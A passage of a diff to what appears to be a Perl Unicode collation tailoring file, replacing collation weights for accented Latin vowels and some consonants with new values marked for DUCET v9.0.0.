-00CA 0300 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
-00CA 0340 ; [.1C25.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
-00EA      ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-0065 0302 ; [.1C25.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
-00CA      ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-0045 0302 ; [.1C25.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
-1EC5      ; [.1C25.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC4      ; [.1C25.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
-1EC3      ; [.1C25.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC2      ; [.1C25.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
-1EC7      ; [.1C25.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-1EC6      ; [.1C25.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
-012B      ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-0069 0304 ; [.1CAD.001C.0002] # LATIN SMALL LETTER I WITH MACRON
-012A      ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-0049 0304 ; [.1CAD.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
-00ED      ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0301 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-0069 0341 ; [.1CAD.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
-00CD      ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0301 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-0049 0341 ; [.1CAD.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
-01D0      ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-0069 030C ; [.1CAD.001E.0002] # LATIN SMALL LETTER I WITH CARON
-01CF      ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-0049 030C ; [.1CAD.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
-00EC      ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0300 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-0069 0340 ; [.1CAD.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
-00CC      ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0300 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-0049 0340 ; [.1CAD.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
-006D 0304 ; [.1D25.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
-004D 0304 ; [.1D25.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
-1E3F      ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0301 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-006D 0341 ; [.1D25.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
-1E3E      ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0301 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-004D 0341 ; [.1D25.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
-006D 030C ; [.1D25.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
-004D 030C ; [.1D25.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
-006D 0300 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
-006D 0340 ; [.1D25.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
-004D 0300 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
-004D 0340 ; [.1D25.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
-006E 0304 ; [.1D34.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
-004E 0304 ; [.1D34.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
-0144      ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0301 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-006E 0341 ; [.1D34.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
-0143      ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0301 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-004E 0341 ; [.1D34.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
-0148      ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-006E 030C ; [.1D34.001E.0002] # LATIN SMALL LETTER N WITH CARON
-0147      ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-004E 030C ; [.1D34.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
-01F9      ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0300 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-006E 0340 ; [.1D34.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
-01F8      ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0300 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-004E 0340 ; [.1D34.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
-014D      ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-006F 0304 ; [.1D58.001C.0002] # LATIN SMALL LETTER O WITH MACRON
-014C      ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-004F 0304 ; [.1D58.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
-00F3      ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0301 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-006F 0341 ; [.1D58.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
-00D3      ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0301 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-004F 0341 ; [.1D58.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
-01D2      ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-006F 030C ; [.1D58.001E.0002] # LATIN SMALL LETTER O WITH CARON
-01D1      ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-004F 030C ; [.1D58.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
-00F2      ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0300 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-006F 0340 ; [.1D58.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
-00D2      ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0300 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-004F 0340 ; [.1D58.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
-016B      ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-0075 0304 ; [.1E30.001C.0002] # LATIN SMALL LETTER U WITH MACRON
-016A      ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-0055 0304 ; [.1E30.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
-00FA      ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0301 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-0075 0341 ; [.1E30.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
-00DA      ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0301 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-0055 0341 ; [.1E30.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
-01D4      ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-0075 030C ; [.1E30.001E.0002] # LATIN SMALL LETTER U WITH CARON
-01D3      ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-0055 030C ; [.1E30.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
-00F9      ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0300 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-0075 0340 ; [.1E30.001F.0002] # LATIN SMALL LETTER U WITH GRAVE
-00D9      ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0300 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-0055 0340 ; [.1E30.001F.0008] # LATIN CAPITAL LETTER U WITH GRAVE
-01D6      ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-0075 0308 0304 ; [.1E30.0021.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND MACRON
-01D5      ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-0055 0308 0304 ; [.1E30.0021.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND MACRON
-00FC 0304 ; [.1E30.0021.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING MACRON>
-00DC 0304 ; [.1E30.0021.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING MACRON>
-01D8      ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0301 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-0075 0308 0341 ; [.1E30.0022.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND ACUTE
-01D7      ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0301 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-0055 0308 0341 ; [.1E30.0022.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND ACUTE
-00FC 0301 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00FC 0341 ; [.1E30.0022.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-00DC 0301 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE ACCENT>
-00DC 0341 ; [.1E30.0022.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING ACUTE TONE MARK>
-01DA      ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-0075 0308 030C ; [.1E30.0023.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND CARON
-01D9      ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-0055 0308 030C ; [.1E30.0023.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND CARON
-00FC 030C ; [.1E30.0023.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING CARON>
-00DC 030C ; [.1E30.0023.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING CARON>
-01DC      ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-0075 0308 0300 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-0075 0308 0340 ; [.1E30.0024.0002] # LATIN SMALL LETTER U WITH DIAERESIS AND GRAVE
-01DB      ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0300 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-0055 0308 0340 ; [.1E30.0024.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS AND GRAVE
-00FC 0300 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00FC 0340 ; [.1E30.0024.0002] # <LATIN SMALL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00DC 0300 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE ACCENT>
-00DC 0340 ; [.1E30.0024.0008] # <LATIN CAPITAL LETTER U WITH DIAERESIS, COMBINING GRAVE TONE MARK>
-00FC      ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-0075 0308 ; [.1E30.0025.0002] # LATIN SMALL LETTER U WITH DIAERESIS
-00DC      ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
-0055 0308 ; [.1E30.0025.0008] # LATIN CAPITAL LETTER U WITH DIAERESIS
+   entry => <<'ENTRY', # for DUCET v9.0.0
+0101      ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0061 0304 ; [.1C47.001C.0002] # LATIN SMALL LETTER A WITH MACRON
+0100      ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+0041 0304 ; [.1C47.001C.0008] # LATIN CAPITAL LETTER A WITH MACRON
+00E1      ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0301 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+0061 0341 ; [.1C47.001D.0002] # LATIN SMALL LETTER A WITH ACUTE
+00C1      ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0301 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+0041 0341 ; [.1C47.001D.0008] # LATIN CAPITAL LETTER A WITH ACUTE
+01CE      ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+0061 030C ; [.1C47.001E.0002] # LATIN SMALL LETTER A WITH CARON
+01CD      ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+0041 030C ; [.1C47.001E.0008] # LATIN CAPITAL LETTER A WITH CARON
+00E0      ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0300 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+0061 0340 ; [.1C47.001F.0002] # LATIN SMALL LETTER A WITH GRAVE
+00C0      ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0300 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0041 0340 ; [.1C47.001F.0008] # LATIN CAPITAL LETTER A WITH GRAVE
+0113      ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0065 0304 ; [.1CAA.001C.0002] # LATIN SMALL LETTER E WITH MACRON
+0112      ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+0045 0304 ; [.1CAA.001C.0008] # LATIN CAPITAL LETTER E WITH MACRON
+00E9      ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0301 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+0065 0341 ; [.1CAA.001D.0002] # LATIN SMALL LETTER E WITH ACUTE
+00C9      ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0301 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+0045 0341 ; [.1CAA.001D.0008] # LATIN CAPITAL LETTER E WITH ACUTE
+011B      ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+0065 030C ; [.1CAA.001E.0002] # LATIN SMALL LETTER E WITH CARON
+011A      ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+0045 030C ; [.1CAA.001E.0008] # LATIN CAPITAL LETTER E WITH CARON
+00E8      ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0300 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+0065 0340 ; [.1CAA.001F.0002] # LATIN SMALL LETTER E WITH GRAVE
+00C8      ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0300 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+0045 0340 ; [.1CAA.001F.0008] # LATIN CAPITAL LETTER E WITH GRAVE
+00EA 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+00CA 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING MACRON>
+0065 0302 0304 ; [.1CAA.0021.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+0045 0302 0304 ; [.1CAA.0021.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING MACRON>
+1EBF      ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0301 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+0065 0302 0341 ; [.1CAA.0022.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND ACUTE
+1EBE      ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0301 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+0045 0302 0341 ; [.1CAA.0022.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND ACUTE
+00EA 0301 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00EA 0341 ; [.1CAA.0022.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00CA 0301 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE ACCENT>
+00CA 0341 ; [.1CAA.0022.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING ACUTE TONE MARK>
+00EA 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+00CA 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING CARON>
+0065 0302 030C ; [.1CAA.0023.0002] # <LATIN SMALL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+0045 0302 030C ; [.1CAA.0023.0008] # <LATIN CAPITAL LETTER E, COMBINING CIRCUMFLEX ACCENT, COMBINING CARON>
+1EC1      ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0300 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+0065 0302 0340 ; [.1CAA.0024.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND GRAVE
+1EC0      ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0300 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+0045 0302 0340 ; [.1CAA.0024.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND GRAVE
+00EA 0300 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00EA 0340 ; [.1CAA.0024.0002] # <LATIN SMALL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00CA 0300 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE ACCENT>
+00CA 0340 ; [.1CAA.0024.0008] # <LATIN CAPITAL LETTER E WITH CIRCUMFLEX, COMBINING GRAVE TONE MARK>
+00EA      ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+0065 0302 ; [.1CAA.0025.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX
+00CA      ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+0045 0302 ; [.1CAA.0025.0008] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX
+1EC5      ; [.1CAA.0025.0002][.0000.002D.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC4      ; [.1CAA.0025.0008][.0000.002D.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND TILDE
+1EC3      ; [.1CAA.0025.0002][.0000.003B.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC2      ; [.1CAA.0025.0008][.0000.003B.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND HOOK ABOVE
+1EC7      ; [.1CAA.0025.0002][.0000.0042.0002] # LATIN SMALL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+1EC6      ; [.1CAA.0025.0008][.0000.0042.0002] # LATIN CAPITAL LETTER E WITH CIRCUMFLEX AND DOT BELOW
+012B      ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+0069 0304 ; [.1D32.001C.0002] # LATIN SMALL LETTER I WITH MACRON
+012A      ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+0049 0304 ; [.1D32.001C.0008] # LATIN CAPITAL LETTER I WITH MACRON
+00ED      ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0301 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+0069 0341 ; [.1D32.001D.0002] # LATIN SMALL LETTER I WITH ACUTE
+00CD      ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0301 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+0049 0341 ; [.1D32.001D.0008] # LATIN CAPITAL LETTER I WITH ACUTE
+01D0      ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+0069 030C ; [.1D32.001E.0002] # LATIN SMALL LETTER I WITH CARON
+01CF      ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+0049 030C ; [.1D32.001E.0008] # LATIN CAPITAL LETTER I WITH CARON
+00EC      ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0300 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+0069 0340 ; [.1D32.001F.0002] # LATIN SMALL LETTER I WITH GRAVE
+00CC      ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0300 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+0049 0340 ; [.1D32.001F.0008] # LATIN CAPITAL LETTER I WITH GRAVE
+006D 0304 ; [.1DAA.001C.0002] # <LATIN SMALL LETTER M, COMBINING MACRON>
+004D 0304 ; [.1DAA.001C.0008] # <LATIN CAPITAL LETTER M, COMBINING MACRON>
+1E3F      ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0301 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+006D 0341 ; [.1DAA.001D.0002] # LATIN SMALL LETTER M WITH ACUTE
+1E3E      ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0301 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+004D 0341 ; [.1DAA.001D.0008] # LATIN CAPITAL LETTER M WITH ACUTE
+006D 030C ; [.1DAA.001E.0002] # <LATIN SMALL LETTER M, COMBINING CARON>
+004D 030C ; [.1DAA.001E.0008] # <LATIN CAPITAL LETTER M, COMBINING CARON>
+006D 0300 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE ACCENT>
+006D 0340 ; [.1DAA.001F.0002] # <LATIN SMALL LETTER M, COMBINING GRAVE TONE MARK>
+004D 0300 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE ACCENT>
+004D 0340 ; [.1DAA.001F.0008] # <LATIN CAPITAL LETTER M, COMBINING GRAVE TONE MARK>
+006E 0304 ; [.1DB9.001C.0002] # <LATIN SMALL LETTER N, COMBINING MACRON>
+004E 0304 ; [.1DB9.001C.0008] # <LATIN CAPITAL LETTER N, COMBINING MACRON>
+0144      ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0301 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+006E 0341 ; [.1DB9.001D.0002] # LATIN SMALL LETTER N WITH ACUTE
+0143      ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0301 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+004E 0341 ; [.1DB9.001D.0008] # LATIN CAPITAL LETTER N WITH ACUTE
+0148      ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+006E 030C ; [.1DB9.001E.0002] # LATIN SMALL LETTER N WITH CARON
+0147      ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+004E 030C ; [.1DB9.001E.0008] # LATIN CAPITAL LETTER N WITH CARON
+01F9      ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0300 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+006E 0340 ; [.1DB9.001F.0002] # LATIN SMALL LETTER N WITH GRAVE
+01F8      ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0300 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+004E 0340 ; [.1DB9.001F.0008] # LATIN CAPITAL LETTER N WITH GRAVE
+014D      ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+006F 0304 ; [.1DDD.001C.0002] # LATIN SMALL LETTER O WITH MACRON
+014C      ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+004F 0304 ; [.1DDD.001C.0008] # LATIN CAPITAL LETTER O WITH MACRON
+00F3      ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0301 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+006F 0341 ; [.1DDD.001D.0002] # LATIN SMALL LETTER O WITH ACUTE
+00D3      ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0301 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+004F 0341 ; [.1DDD.001D.0008] # LATIN CAPITAL LETTER O WITH ACUTE
+01D2      ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+006F 030C ; [.1DDD.001E.0002] # LATIN SMALL LETTER O WITH CARON
+01D1      ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+004F 030C ; [.1DDD.001E.0008] # LATIN CAPITAL LETTER O WITH CARON
+00F2      ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0300 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+006F 0340 ; [.1DDD.001F.0002] # LATIN SMALL LETTER O WITH GRAVE
+00D2      ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0300 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+004F 0340 ; [.1DDD.001F.0008] # LATIN CAPITAL LETTER O WITH GRAVE
+016B      ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+0075 0304 ; [.1EB5.001C.0002] # LATIN SMALL LETTER U WITH MACRON
+016A      ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+0055 0304 ; [.1EB5.001C.0008] # LATIN CAPITAL LETTER U WITH MACRON
+00FA      ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0301 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+0075 0341 ; [.1EB5.001D.0002] # LATIN SMALL LETTER U WITH ACUTE
+00DA      ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0301 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+0055 0341 ; [.1EB5.001D.0008] # LATIN CAPITAL LETTER U WITH ACUTE
+01D4      ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+0075 030C ; [.1EB5.001E.0002] # LATIN SMALL LETTER U WITH CARON
+01D3      ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
+0055 030C ; [.1EB5.001E.0008] # LATIN CAPITAL LETTER U WITH CARON
